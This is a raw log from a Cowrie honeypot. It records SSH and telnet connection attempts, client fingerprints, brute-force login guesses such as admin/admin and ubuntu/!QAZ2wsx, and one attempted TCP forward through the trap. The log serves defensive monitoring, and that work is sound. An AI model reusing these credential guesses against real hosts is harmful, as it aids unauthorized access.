{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60826,"dst_ip":"159.203.135.109","dst_port":22,"session":"34979f394e12","protocol":"ssh","message":"New connection: 159.203.92.129:60826 (159.203.135.109:22) [session: 34979f394e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:54.659712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:54.700319Z","src_ip":"159.203.92.129","session":"34979f394e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:54.704460Z","src_ip":"159.203.92.129","session":"34979f394e12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DJ","password":"DJ","message":"login attempt [DJ/DJ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:54.901561Z","src_ip":"159.203.92.129","session":"34979f394e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:55.910096Z","src_ip":"159.203.92.129","session":"34979f394e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":41384,"dst_ip":"159.203.135.109","dst_port":22,"session":"8513217e3bd6","protocol":"ssh","message":"New connection: 80.94.92.186:41384 (159.203.135.109:22) [session: 8513217e3bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:59.057416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:59.085456Z","src_ip":"80.94.92.186","session":"8513217e3bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:59.381296Z","src_ip":"80.94.92.186","session":"8513217e3bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:59.747061Z","src_ip":"80.94.92.186","session":"8513217e3bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:00.963132Z","src_ip":"80.94.92.186","session":"8513217e3bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45888,"dst_ip":"10.17.0.5","dst_port":22,"session":"75aea9c49183","protocol":"ssh","message":"New connection: 87.251.64.176:45888 (10.17.0.5:22) [session: 75aea9c49183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:15.329808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:15.334865Z","src_ip":"87.251.64.176","session":"75aea9c49183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:15.432104Z","src_ip":"87.251.64.176","session":"75aea9c49183","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:15.721876Z","src_ip":"87.251.64.176","session":"75aea9c49183","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:15.821486Z","session":"75aea9c49183","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:15.919673Z","src_ip":"87.251.64.176","session":"75aea9c49183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:16.019542Z","src_ip":"87.251.64.176","session":"75aea9c49183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57140,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a1e22328d3f","protocol":"ssh","message":"New connection: 159.203.92.129:57140 (159.203.135.109:22) [session: 5a1e22328d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:39.421615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:39.426584Z","src_ip":"159.203.92.129","session":"5a1e22328d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:39.430879Z","src_ip":"159.203.92.129","session":"5a1e22328d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DK_B998","password":"123456","message":"login attempt [DK_B998/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:39.472467Z","src_ip":"159.203.92.129","session":"5a1e22328d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:40.479647Z","src_ip":"159.203.92.129","session":"5a1e22328d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.44.165.157","src_port":64741,"dst_ip":"10.17.0.5","dst_port":23,"session":"5057a55c5775","protocol":"telnet","message":"New connection: 143.44.165.157:64741 (10.17.0.5:23) [session: 5057a55c5775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:56.253841Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50840,"dst_ip":"159.203.135.109","dst_port":22,"session":"478ddcd17ee2","protocol":"ssh","message":"New connection: 2.57.122.238:50840 (159.203.135.109:22) [session: 478ddcd17ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:59.229766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:59.233280Z","src_ip":"2.57.122.238","session":"478ddcd17ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:59.337003Z","src_ip":"2.57.122.238","session":"478ddcd17ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:57:59.648654Z","src_ip":"2.57.122.238","session":"478ddcd17ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:00.755755Z","src_ip":"2.57.122.238","session":"478ddcd17ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.346689462661743,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:09.600408Z","src_ip":"143.44.165.157","session":"5057a55c5775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41524,"dst_ip":"159.203.135.109","dst_port":22,"session":"94a5efd447d8","protocol":"ssh","message":"New connection: 159.203.92.129:41524 (159.203.135.109:22) [session: 94a5efd447d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:24.077909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:24.085871Z","src_ip":"159.203.92.129","session":"94a5efd447d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:24.090062Z","src_ip":"159.203.92.129","session":"94a5efd447d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DL938113","password":"123","message":"login attempt [DL938113/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:24.102322Z","src_ip":"159.203.92.129","session":"94a5efd447d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:58:25.109115Z","src_ip":"159.203.92.129","session":"94a5efd447d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50394,"dst_ip":"159.203.135.109","dst_port":22,"session":"483a7b8cf896","protocol":"ssh","message":"New connection: 159.203.92.129:50394 (159.203.135.109:22) [session: 483a7b8cf896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:08.461013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:08.465541Z","src_ip":"159.203.92.129","session":"483a7b8cf896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:08.470513Z","src_ip":"159.203.92.129","session":"483a7b8cf896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DL938113","password":"123456","message":"login attempt [DL938113/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:08.482020Z","src_ip":"159.203.92.129","session":"483a7b8cf896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:09.488943Z","src_ip":"159.203.92.129","session":"483a7b8cf896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":44042,"dst_ip":"159.203.135.109","dst_port":22,"session":"08be273679dc","protocol":"ssh","message":"New connection: 80.94.92.186:44042 (159.203.135.109:22) [session: 08be273679dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:43.265897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:43.453041Z","src_ip":"80.94.92.186","session":"08be273679dc","protocol":"ssh"}
